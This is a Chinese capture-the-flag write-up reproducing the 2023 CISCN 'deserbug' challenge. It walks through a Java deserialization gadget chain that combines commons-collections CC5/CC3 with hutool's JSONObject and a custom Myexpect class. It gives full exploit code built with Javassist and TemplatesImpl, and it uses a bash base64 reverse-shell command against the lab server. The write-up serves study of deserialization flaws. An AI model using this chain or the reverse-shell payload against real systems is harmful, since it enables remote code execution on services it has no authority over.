2023CISCN deserbug复现

文章目录

前言

最近暂时没什么事做了,打算把之前国赛的题复现下,靶场用的是ctfshow

题目提示:

1. cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

2. jdk8u202

环境配置

项目结构

下载题目附件,有一个DeserBug.jarlib文件夹

反编译DeserBug.jar,然后新建一个项目,把com/app下的两个java文件移到新项目的对应位置,也就是src/main/java/com/app

下载jdk8u202,地址jdk/8u202-b08,选最下面的jdk-8u202-windows-x64.exe

打开idea,在项目结构里配置SDK为jdk8u202

把附件里的lib库复制到新项目目录的lib文件夹,然后在库里面导入lib文件夹下的两个jar包

最后在模块里面添加库

Maven

添加依赖如下

xml 复制代码
<dependencies>
    <dependency>
        <groupId>thirdparty</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.2</version>
        <scope>system</scope>
        <systemPath>${project.basedir}/lib/commons-collections-3.2.2.jar</systemPath>
    </dependency>

    <dependency>
        <groupId>thirdparty</groupId>
        <artifactId>hutool-all</artifactId>
        <version>5.8.18</version>
        <scope>system</scope>
        <systemPath>${project.basedir}/lib/hutool-all-5.8.18.jar</systemPath>
    </dependency>

    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.22.0-GA</version>
     </dependency>
</dependencies>

接着右键Maven同步项目即可

利用过程

初步分析

com/app下总共有两个java文件,其中Testapp.java是主类

java 复制代码
package com.app;

import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Testapp {
    public static void main(String[] args) {
        HttpUtil.createServer(8888).addAction("/", (request, response) -> {
            String bugstr = request.getParam("bugstr");
            String result = "";
            if (bugstr == null) {
                response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
            }

            try {
                byte[] decode = Base64.getDecoder().decode(bugstr);
                ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
                Object object = inputStream.readObject();
                result = object.toString();
            } catch (Exception e) {
                Myexpect myexpect = new Myexpect();
                myexpect.setTypeparam(new Class[]{String.class});
                myexpect.setTypearg(new String[]{e.toString()});
                myexpect.setTargetclass(e.getClass());

                try {
                    result = myexpect.getAnyexcept().toString();
                } catch (Exception ex) {
                    result = ex.toString();
                }
            }

            response.write(result, ContentType.TEXT_PLAIN.toString());
        }).start();
    }
}

可以看到接受一个bugstr参数,需要我们传入base64编码后的序列化数据,然后这里会解码并调用readObject()函数进行反序列化

同时题目提示cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept,跟进Myexpect看看

发现getAnyexcept()可以获取目标类的构造器并进行实例化,不难联想到可以用TrAXFilter来调用到TemplatesImplnewTransformer()方法,进而实现动态加载恶意字节码执行任意命令

继续跟进JSONObject看看

我们发现put方法调用了两个参数的set,然后set又调用了重载的set,最终调用到JSONUtil.wrap方法,而wrap会遍历Bean的getter方法,如果我们在value中传入myexpect对象,就会反射调用到getAnyexcept(),进而触发newInstance

对于为什么wrap可以调用到Myexpect的getter方法,感兴趣的可以上网看看原理,或者打个断点跟进去分析,过程很长这里就不展示了,可以简要看看我跟踪调试的结果

然后就是要找哪里调用了put方法,根据之前审计CC链的经验,我们可以用LazyMap.get()来触发put方法

那剩下的的就好办了,可以用CC5的前半段加上CC3的后半段组合修改一下就可以得到完整利用链

前半部分

起点我们就用BadAttributeValueExpExceptionreadObject(),具体可以参考我之前写的CC5审计文章Java反序列化 CC5链分析,当然我也会简单讲一下过程

首先通过BadAttributeValueExpExceptionreadObject()触发valObj.toString()valObj对象是由val获取,用反射修改字段为TiedMapEntry对象

然后调用到TiedMapEntrytoString(),进而调用到getValue()map我们传入LazyMapkey随便传一个就可以

接着调用LazyMapget方法触发putmap我们就传入JSONObject对象,因为JSONObject继承了MapWrapper,而MapWrapper又实现了Map接口,因此JSONObjectMap对象,可以传进去。然后factory我们就用ConstantTransformer

其实就是CC5的前半段,用图展示就是

后半部分

后半段的话就是CC3里有的,具体可以参考CC3分析文章Java反序列化 CC3链分析

在通过JSONUtilwrap方法调用到MyexpectgetAnyexcept()之后,我们尝试实例化TrAXFiltertemplates就传入TemplatesImpl对象,触发newTransformer()

然后触发到getTransletInstance()

继续跟进,当_name不为null_classnull时,触发defineTransletClasses()

继续跟,可以看到调用了defineClass方法,其作用是将一段字节流(通常是编译后的class字节码)转换成java.lang.Class实例并返回对应的Class对象。不过需要先满足几个前置条件,例如_bytecodes不为null_tfactory不为null以及要继承AbstractTranslet类,具体方法看我发的CC3文章,这里不多赘述了

最后用Javassist动态生成恶意类,转化为字节码byte数组,通过反射修改_bytecodes字段即可实现任意命令执行

java 复制代码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil" + System.nanoTime());
String payload = "calc.exe";
String cmd = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", payload);
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};

EXP

综上,我们可以得到exp为

java 复制代码
public class Testapp {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Evil" + System.nanoTime());
        String payload = "calc.exe";
        String cmd = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", payload);
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{bytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", targetByteCodes);

        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{templates});

        Transformer factory = new ConstantTransformer(myexpect);
        JSONObject jsonObject = new JSONObject();
        Map decorate = LazyMap.decorate(jsonObject, factory);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");

        BadAttributeValueExpException o = new BadAttributeValueExpException(null);
        setFieldValue(o, "val", tiedMapEntry);

        serialize(o);
        unserialize("cc.ser");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

成功弹出计算器

这里画个图直观感受一下

靶场

然后我们回到靶场,题目要求传入base64编码后的序列化数据,我们尝试反弹shell,但Java的Runtime.getRuntime().exec("...")不支持直接执行带有重定向符(>&)或管道符(|)的复杂 Shell 命令。它会把 > 当作文件名参数,而不是重定向操作,因此我们需要对命令执行编码

bash 复制代码
bash -c {echo,base64编码数据}|{base64,-d}|{bash,-i}

修改EXP代码,使其输出编码后的序列化数据

java 复制代码
public class Testapp {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Evil" + System.nanoTime());
        String payload = "bash -c {echo,base64编码数据}|{base64,-d}|{bash,-i}";
        String cmd = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", payload);
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{bytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", targetByteCodes);

        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{templates});

        Transformer factory = new ConstantTransformer(myexpect);
        JSONObject jsonObject = new JSONObject();
        Map decorate = LazyMap.decorate(jsonObject, factory);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");

        BadAttributeValueExpException o = new BadAttributeValueExpException(null);
        setFieldValue(o, "val", tiedMapEntry);

        byte[] serializedData = serializeToBytes(o);
        String base64Payload = Base64.getEncoder().encodeToString(serializedData);
        System.out.println(base64Payload);
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] serializeToBytes(Object obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

服务器开启监听,然后将运行得到的base64编码数据传入,参数为bugstr

成功反弹shell

直接读取flag即可

相关推荐
week_泽2 小时前
第8课:LangGraph Memory管理机制与实现方案 - 学习笔记_8
java·笔记·学习·ai agent
qwerasda1238522 小时前
基于改进的SABL Cascade RNN的安全装备检测系统:手套护目镜安全帽防护服安全鞋识别与实现_r101_fpn_1x_coco_1
人工智能·rnn·安全
装不满的克莱因瓶2 小时前
【cursor】前后端分离项目下的AI跨工程管理方案
java·人工智能·ai·ai编程·cursor·trae·qoder
何中应2 小时前
使用Spring自带的缓存注解维护数据一致性
java·数据库·spring boot·后端·spring·缓存
ZeroToOneDev2 小时前
Mybatis
java·数据库·mybatis
步步为营DotNet2 小时前
深度解读.NET中ConcurrentDictionary:高效线程安全字典的原理与应用
java·安全·.net
heartbeat..2 小时前
Spring Boot 学习:原理、注解、配置文件与部署解析
java·spring boot·学习·spring
零度@2 小时前
Java 消息中间件 - 云原生多租户:Pulsar 保姆级全解2026
java·开发语言·云原生
七夜zippoe2 小时前
分布式事务解决方案(二) 消息队列实现最终一致性
java·kafka·消息队列·rocketmq·2pc